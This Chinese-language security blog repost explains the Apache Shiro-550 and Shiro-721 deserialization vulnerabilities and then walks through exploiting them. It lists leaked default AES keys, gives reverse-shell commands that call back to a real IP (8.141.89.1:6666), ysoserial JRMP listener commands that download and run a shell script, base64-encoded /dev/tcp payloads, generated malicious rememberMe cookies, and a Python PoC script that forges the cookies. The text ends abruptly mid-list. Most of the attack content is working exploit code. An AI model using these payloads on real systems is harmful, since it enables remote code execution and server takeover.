shiro漏洞
2024-3-22 09:26:53 Author: www.freebuf.com(查看原文) 阅读量:10 收藏

Shiro简介

Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理,可用于保护任何应用程序的安全。
Shiro提供了应用程序安全性API来执行以下方面:
1)身份验证:证明用户身份,通常称为用户"登录";
2)授权:访问控制;
3)密码术:保护或隐藏数据以防窥视;
4)会话管理:每个用户的时间敏感状态。
上述四个方面也被称为应用程序安全性的四个基石。

Shiro组件识别

在访问及登录时抓包,如果响应头set-cookie中显示rememberMe=deleteMe,说明使用了Shiro组件

Shiro漏洞检测

https://github.com/fupinglee/ShiroScan
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/Ares-X/shiro-exploit

漏洞产生原因

key泄露

Shiro-550

漏洞原因:
Apache Shiro 框架提供了记住密码的功能(RememberMe),关闭浏览器再次访问时无需再登录即可访问。用户登录成功后用户信息会经过加密编码后存储在cookie中。在 Cookie 读取过程中有用AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。shiro 默认使用了 CookieRememberMeManager,其处理cookie的流程是:
获取 rememberMe的cookie值–>Base64解码–>AES解密 –>反序列化。
但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、
AES加密、base64编码后,作为 cookie 的 rememberMe 字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞

只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在rememberMe=deleteMe 字段,那么就可能存在此漏洞。
常见key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHpamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==


Payload产生/构造的过程:
命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么很容易就知道密钥了,Payload构造起来也是十分的简单。

特征判断

返回包中包含 rememberMe=deleteMe 字段,认证失败时会设置 deleteMe 的 cookie:

Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0;

利用位置

任意http请求中 cookie 处rememberMe参数

方法一、

1、创建b.sh文件

bash -i >& /bin/bash/8.141.89.1/6666 0>&1

2、使用python开启http服务

python -m http.server

3、创建序列化服务器并监听10998端口,并获取b.sh文件

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "curl http://8.141.89.1:8000/b.sh -o /tmp/b.sh"

4、执行shiro-exp.py脚本生成remerber的payload

Python3 shiro-exp.py 8.141.89.1:10998

rememberMe=F1t5Pr6lTEq34pRUrkLMvEi8oT2aRNMGp12bqE95Ww7+fw/6x85BK2hEGk5CsdJy3i/P8ZPX+Pjir2fCiAvtR3UOqsW2/eG0K8Q7PeyGPhuoIc+oedQLC4j9ON7jOJPXmCiMfIePNbzHcJcby2XItQF83R8YMoyFy8AsNulIRGPIYYTdZPAQ2+N7rPhFAM0TQKit1JSO0t11iSgmzAV3OUfhu1+61Xa/xeRW1wTcIM581VZZh6t8zbbUo72u5HSsFCCb3bXJgcRJt6epcdXsbQofSQ2HO2eNnsVyzWwPhae7/7eXGai4fGiUKDeC7n/+dTGRYLHCUI5t5IPSmy9lIKSx2Y1GyQESu5Fa+BeRW1BPwy1S7nGm/AJeS/o2AlOewAJWXjUDELmE8mZFh1RdA==

5、将生成的payload插入bp抓包的remerber中,重发

6、创建序列化服务器并监听10998端口,并执行b.sh文件

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash /tmp/b.sh"

7、执行shiro-exp.py脚本生成remerber的payload

python shiro-exp.py 8.141.89.1:10998

rememberMe=F1t5Pr6lTEq34pRUrkLMvEi8oT2aRNMGp12bqE95Ww7+fw/6x85BK2hEGk5CsdJy3i/P8ZPX+Pjir2fCiAvtR3UOqsW2/eG0K8Q7PeyGPhuoIc+oedQLC4j9ON7jOJPXmCiMfIePNbzHcJcby2XItQF83R8YMoyFy8AsNulIRGPIYYTdZPAQ2+N7rPhFAM0TQKit1JSO0t11iSgmzAV3OUfhu1+61Xa/xeRW1wTcIM581VZZh6t8zbbUo72u5HSsFCCb3bXJgcRJt6epcdXsbQofSQ2HO2eNnsVyzWwPhae7/7eXGai4fGiUKDeC7n/+dTGRYLHCUI5t5IPSmy9lIKSx2Y1GyQESu5Fa+BeRW1BPwy1S7nGm/AJeS/o2AlOewAJWXjUDELmE8mZFh1RdA==

8、将生成的payload插入bp抓包的remerber中,重发

9、使用nc开启监听

nc -lvvp 6666

方法二、

1、通过ysoserial中Jrmp监听模,监听10998端口并执行反弹shell命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MS44OS4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

2、执行shiro-exp.py脚本生成remerber的payload

python shiro-exp.py 8.141.89.1:10998

rememberMe=F1t5Pr6lTEq34pRUrkLMvEi8oT2aRNMGp12bqE95Ww7+fw/6x85BK2hEGk5CsdJy3i/P8ZPX+Pjir2fCiAvtR3UOqsW2/eG0K8Q7PeyGPhuoIc+oedQLC4j9ON7jOJPXmCiMfIePNbzHcJcby2XItQF83R8YMoyFy8AsNulIRGPIYYTdZPAQ2+N7rPhFAM0TQKit1JSO0t11iSgmzAV3OUfhu1+61Xa/xeRW1wTcIM581VZZh6t8zbbUo72u5HSsFCCb3bXJgcRJt6epcdXsbQofSQ2HO2eNnsVyzWwPhae7/7eXGai4fGiUKDeC7n/+dTGRYLHCUI5t5IPSmy9lIKSx2Y1GyQESu5Fa+BeRW1BPwy1S7nGm/AJeS/o2AlOewAJWXjUDELmE8mZFh1RdA==

3、开启nc监听

Nc -lvvp 6666

Shiro-721

漏洞原因

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的rememberMe字段存 在问题,用户可通Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历
key。

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的 rememberMe cookie,并记录下这个rememberMe的值

1、搭建靶场

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .

docker run -p 18081:8080 -dit shiro-721

2、下载利用工具

https://github.com/inspiringz/Shiro-721.git

3、使用ysoserial生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" > payload.class

4、通过Padding Oracle Attack生成恶意Rememberme cookie

python shiro_exp.py

Usage: shiro_exp.py <url> <somecookie value> <payload>

python2 shiro_exp.py http://8.141.89.1:18081/ PHh1FbfiWuR/CRYs2Os5fmYJbPtYD4V55kWHl41dNdfFSzSgjU0b+Z8DHtem51EHoW6bXJvMDkB7mZYJqa9Mc3EP16OnF4Dt/IuGbrxjKf0OgOO/5Y+jyFJi1h2clJz+myysxb8WTc+xruezMJya8ykcePax3H8GOLJMS0ACO0r/g1sr0x0MYynxbCUMr3fiK8c3OWlsHSyTx0QERj01dzTV9MGW5+J8SGsItQPCpr0vfya/n3TC4NhVwbEj1uTWRj88whIL6dJODo1FLGzI+tR2wMXGvtGTVxSJJjAMvMsJpbEEsO0Vl1sdsIsllA8EWqCSbHuX/zFpCHkfdl7/CSE9OCy4gu68p6W2kTMTcr2OqMrdJN/dUbQmriznoTuVDf1OiacWeP3J/XlOA35CvrrZMsSQF7G9lial9Zqenc1mz+UCUcmk5cwkVh9qTUehpKaVwGO9i34ySLlVjrRTxg4mfa1ZwTKkKs39XZL4MwSHYh5/nr/jvqLKbHwkkuLh payload.class

5、使用构造的Rememberme cookie进行攻击

Refer

1、创建shiro_poc.py

# shiro_poc.py

# pip install pycrypto

import sys

import base64

import uuid

from random import Random

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

BS   = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key  =  "kPH+bIxk5D2deZiIxcaaaA=="

mode =  AES.MODE_CBC

iv   =  uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(key), mode, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

if __name__ == '__main__':

payload = encode_rememberme(sys.argv[1])

with open("/tmp/payload.cookie", "w") as fpw:

print("rememberMe={}".format(payload.decode()), file=fpw)

2、执行脚本

python3 shiro_poc.py "ping fkl2af.ceye.io"

3、


文章来源: https://www.freebuf.com/articles/network/395579.html
如有侵权请联系:admin#unsafe.sh